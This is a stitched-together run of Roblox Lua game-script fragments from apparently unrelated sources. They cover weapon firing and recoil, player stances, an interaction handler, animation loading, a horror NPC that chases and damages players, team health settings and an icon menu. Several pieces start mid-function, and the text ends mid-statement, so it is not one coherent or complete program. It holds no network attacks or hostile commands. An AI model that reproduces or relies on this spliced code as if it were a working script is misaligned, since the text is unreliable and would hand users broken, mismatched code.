Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed) end CancelReload = false reloading = false RunCheck() UpdateGui() end end function GunFx() -- Clone and play muzzle sound local Muzzle = WeaponInHand.Handle.Muzzle if WeaponData.ShootType > 3 then canPump = true end if Suppressor then local newSound = Muzzle.Supressor:Clone() newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000 newSound.Parent = Muzzle newSound.Name = "Firing" newSound:Play() newSound.PlayOnRemove = true newSound:Destroy() else local newSound = Muzzle.Fire:Clone() newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000 newSound.Parent = Muzzle newSound.Name = "Firing" newSound:Play() newSound.PlayOnRemove = true newSound:Destroy() end if Muzzle:FindFirstChild("Echo") then local newSound = Muzzle.Echo:Clone() newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000 newSound.Parent = Muzzle newSound.Name = "FireEcho" newSound:Play() newSound.PlayOnRemove = true newSound:Destroy() end if WeaponData.FlashChance and math.random(1,10) <= WeaponData.FlashChance and not FlashHider then if Muzzle:FindFirstChild("FlashFX") then Muzzle["FlashFX"].Enabled = true delay(0.1,function() if Muzzle:FindFirstChild("FlashFX") then Muzzle["FlashFX"].Enabled = false end end) end WeaponInHand.Handle.Muzzle["FlashFX[Flash]"]:Emit(10) end WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10) if BSpread then BSpread = math.min(WeaponData.MaxSpread * ModTable.MaxSpread, BSpread + WeaponData.AimInaccuracyStepAmount * ModTable.AimInaccuracyStepAmount) RecoilPower = math.min(WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower, RecoilPower + WeaponData.RecoilPowerStepAmount * ModTable.RecoilPowerStepAmount) end generateBullet = generateBullet + 1 LastSpreadUpdate = time() if Ammo > 0 or not WeaponData.SlideLock then TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,true,0), {C0 = WeaponData.SlideEx:inverse() }):Play() elseif Ammo <= 0 and WeaponData.SlideLock then TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0), {C0 = WeaponData.SlideEx:inverse() }):Play() end if WeaponData.ShootType < 4 then WeaponInHand.Handle.Chamber.Smoke:Emit(10) end for _, effect in pairs(WeaponInHand.Handle.Chamber:GetChildren()) do if effect.Name == "Shell" then effect:Emit(1) end end end function ShellCheck() if WeaponData.ShellEjectionMod and WeaponData.ShootType < 4 then if Engine.AmmoModels:FindFirstChild(WeaponData.BulletType) then CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber) else CreateShell("Default",WeaponInHand.Handle.Chamber) end end end function Shoot() if WeaponData and WeaponData.Type == "Gun" and not shooting and not reloading then if reloading or runKeyDown or SafeMode or CheckingMag then mouse1down = false return end if Ammo <= 0 or WeaponData.Jammed then WeaponInHand.Handle.Click:Play() mouse1down = false return end mouse1down = true delay(0, function() if WeaponData and WeaponData.ShootType == 1 then shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) ShellCheck() for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false elseif WeaponData and WeaponData.ShootType == 2 then for i = 1, WeaponData.BurstShot do if shooting or Ammo <= 0 or mouse1down == false or WeaponData.Jammed then break end shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) ShellCheck() for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false end elseif WeaponData and WeaponData.ShootType == 3 then while mouse1down do if shooting or Ammo <= 0 or WeaponData.Jammed then break end shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) ShellCheck() for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false end elseif WeaponData and WeaponData.ShootType == 4 or WeaponData and WeaponData.ShootType == 5 then shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() UpdateGui() Thread:Spawn(Recoil) PumpAnim() RunCheck() shooting = false end if WeaponData and WeaponData.Type == "Gun" and WeaponData.IsLauncher then Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed) end end) elseif WeaponData and WeaponData.Type == "Melee" and not runKeyDown then if not shooting then shooting = true meleeCast() meleeAttack() RunCheck() shooting = false end end end local L_150_ = {} local LeanSpring = {} LeanSpring.cornerPeek = SpringMod.new(0) LeanSpring.cornerPeek.d = 1 LeanSpring.cornerPeek.s = 20 LeanSpring.peekFactor = math.rad(-15) LeanSpring.dirPeek = 0 function L_150_.Update() LeanSpring.cornerPeek.t = LeanSpring.peekFactor * Virar local NewLeanCF = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), LeanSpring.cornerPeek.p) cam.CFrame = cam.CFrame * NewLeanCF end game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update) function RunCheck() if runKeyDown then mouse1down = false GunStance = 3 Evt.GunStance:FireServer(GunStance,AnimData) SprintAnim() else if aimming then GunStance = 2 Evt.GunStance:FireServer(GunStance,AnimData) else GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) end IdleAnim() end end function Stand() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = true SE_GUI.MainFrame.Poses.Agaixado.Visible = false SE_GUI.MainFrame.Poses.Deitado.Visible = false --if Steady then -- SetWalkSpeed(gameRules.SlowPaceWalkSpeed) --else -- if script.Parent:GetAttribute("Injured") then -- SetWalkSpeed(gameRules.InjuredWalksSpeed) -- else -- SetWalkSpeed(gameRules.NormalWalkSpeed) -- end --end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true) IsStanced = false end function Crouch() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = false SE_GUI.MainFrame.Poses.Agaixado.Visible = true SE_GUI.MainFrame.Poses.Deitado.Visible = false --if script.Parent:GetAttribute("Injured") then -- SetWalkSpeed(gameRules.InjuredCrouchWalkSpeed) --else -- SetWalkSpeed(gameRules.CrouchWalkSpeed) --end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) IsStanced = true end function Prone() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = false SE_GUI.MainFrame.Poses.Agaixado.Visible = false SE_GUI.MainFrame.Poses.Deitado.Visible = true --if ACS_Client:GetAttribute("Surrender") then -- char.Humanoid.WalkSpeed = 0 --else -- SetWalkSpeed(gameRules.ProneWalksSpeed) --end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) IsStanced = true end function Lean() TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() Stance:FireServer(Stances,Virar) if Virar == 0 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = false SE_GUI.MainFrame.Poses.Esg_Right.Visible = false elseif Virar == 1 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = false SE_GUI.MainFrame.Poses.Esg_Right.Visible = true elseif Virar == -1 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = true SE_GUI.MainFrame.Poses.Esg_Right.Visible = false end end
--[[---------------- FUNCTIONS -----------------]]
-- local function isAValidNearbyInteractable(targetObj) if not targetObj then return end if not targetObj:IsA("BasePart") then return end local interactable = targetObj:GetAttribute("Interactable") if not interactable then return end local module = interactables:FindFirstChild(targetObj.Name) if not module then return end local dist = (targetObj.Position - hrp.Position).magnitude if dist > MAX_INTERACTION_DIST + math.max(targetObj.Size.X, targetObj.Size.Y, targetObj.Size.Z) / 2 then return end return module end local function samePlayer(rPly) if rPly ~= ply then rPly:Kick(_G.EXPLOITER_KICK_MESSAGE) return false end return true end local function interact() if downedVal.Value then return end if holdingInputVal.Value and mouseHoverObjectVal.Value then local interactableModule = isAValidNearbyInteractable(mouseHoverObjectVal.Value) local success = false local serverChecksFunc = nil if interactableModule then local mod = require(interactableModule) if mod and mod.serverChecks and typeof(mod.serverChecks) == "function" then success = mod.serverChecks(mouseHoverObjectVal.Value) serverChecksFunc = mod.serverChecks else success = true end end if success then local interactionSuccessful = CIH.determineInteraction(ply, mouseHoverObjectVal.Value) local shouldKeepHolding = true local interacted = nil while interactionSuccessful and shouldKeepHolding do interacted, shouldKeepHolding = CIH.interact(ply, mouseHoverObjectVal.Value) if shouldKeepHolding then interactionSuccessful = CIH.determineInteraction(ply, mouseHoverObjectVal.Value) end end if serverChecksFunc and not serverChecksFunc(mouseHoverObjectVal.Value) then deleteInteractionUIEvent:FireClient(ply, mouseHoverObjectVal.Value) end end end end local function onUpdateInputHoldEvent(rPly, inputState) if not samePlayer(rPly) then return end if downedVal.Value then return end if inputState ~= nil and typeof(inputState) == "boolean" then holdingInputVal.Value = inputState else holdingInputVal.Value = false end interact() end local globalObjChangedConn = nil local function onUpdateHoverObjectEvent(rPly, newObj) if not samePlayer(rPly) then return end if downedVal.Value then return end if globalObjChangedConn then globalObjChangedConn:Disconnect() end mouseHoverObjectVal.Value = nil local interactableModule = isAValidNearbyInteractable(newObj) if interactableModule then mouseHoverObjectVal.Value = newObj if globalObjChangedConn then globalObjChangedConn:Disconnect() end globalObjChangedConn = newObj.Changed:Connect(function() if globalObjChangedConn then globalObjChangedConn:Disconnect() end mouseHoverObjectVal.Value = nil onUpdateHoverObjectEvent(rPly, newObj) end) end interact() end local function onDown(val) if val then onUpdateHoverObjectEvent(ply, nil) mouseHoverObjectVal.Value = nil holdingInputVal.Value = false end end
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function findExistingAnimationInSet(set, anim) if set == nil or anim == nil then return 0 end for idx = 1, set.count, 1 do if set[idx].anim.AnimationId == anim.AnimationId then return idx end end return 0 end function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 0 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then local newWeight = 1 local weightObject = childPart:FindFirstChild("Weight") if (weightObject ~= nil) then newWeight = weightObject.Value end animTable[name].count = animTable[name].count + 1 idx = animTable[name].count animTable[name][idx] = {} animTable[name][idx].anim = childPart animTable[name][idx].weight = newWeight animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end)) end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight end end -- preload anims for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do if PreloadedAnims[animType[idx].anim.AnimationId] == nil then Humanoid:LoadAnimation(animType[idx].anim) PreloadedAnims[animType[idx].anim.AnimationId] = true end end end end
--[[** ensures Roblox ColorSequence type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.ColorSequence = primitive("ColorSequence")
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=99999; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(2000); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=false; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<16 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>16 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=16; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=false; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=500; JeffTheKillerHumanoid.JumpPower=0; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--[=[ Destroys the TaskQueue. Just an alias for `Clear()`. ]=]
function TaskQueue:Destroy() self:Clear() end return TaskQueue
--nonpolice
game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Medium stone grey") then Character.Humanoid.MaxHealth = 115 Character.Humanoid.Health = 115 end end) end) game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Persimmon") then Character.Humanoid.MaxHealth = 115 Character.Humanoid.Health = 115 end end) end) game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Deep orange") then Character.Humanoid.MaxHealth = 115 Character.Humanoid.Health = 115 end end) end)
-- Menus
function Icon:setMenu(arrayOfIcons) -- Reset any previous icons for i, otherIcon in pairs(self.menuIcons) do otherIcon:leave() end -- Apply new icons if type(arrayOfIcons) == "table" then for i, otherIcon in pairs(arrayOfIcons) do otherIcon:join(self, "menu", true) end end -- Update menu self:_updateMenu() return self end function Icon:_getMenuDirection() local direction = (self:get("menuDirection") or "_NIL"):lower() local alignment = (self:get("alignment") or "_NIL"):lower() if direction ~= "left" and direction ~= "right" then direction = (alignment == "left" and "right") or "left" end return direction end function Icon:_updateMenu() local values = { maxIconsBeforeScroll = self:get("menuMaxIconsBeforeScroll") or "_NIL", direction = self:get("menuDirection") or "_NIL", iconAlignment = self:get("alignment") or "_NIL", scrollBarThickness = self:get("menuScrollBarThickness") or "_NIL", } for k, v in pairs(values) do if v == "_NIL" then return end end local XPadding = IconController[values.iconAlignment.."Gap"]--12 local menuContainer = self.instances.menuContainer local menuFrame = self.instances.menuFrame local menuList = self.instances.menuList local totalIcons = #self.menuIcons local direction = self:_getMenuDirection() local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons local newCanvasSizeX = -XPadding local newFrameSizeX = 0 local newMinHeight = 0 local sortFunc = (direction == "right" and function(a,b) return a:get("order") < b:get("order") end) or function(a,b) return a:get("order") > b:get("order") end table.sort(self.menuIcons, sortFunc) for i = 1, totalIcons do local otherIcon = self.menuIcons[i] local otherIconSize = otherIcon:get("iconSize") local increment = otherIconSize.X.Offset + XPadding if i <= lastVisibleIconIndex then newFrameSizeX = newFrameSizeX + increment end if i == lastVisibleIconIndex and i ~= totalIcons then newFrameSizeX = newFrameSizeX -2--(increment/4) end newCanvasSizeX = newCanvasSizeX + increment local otherIconHeight = 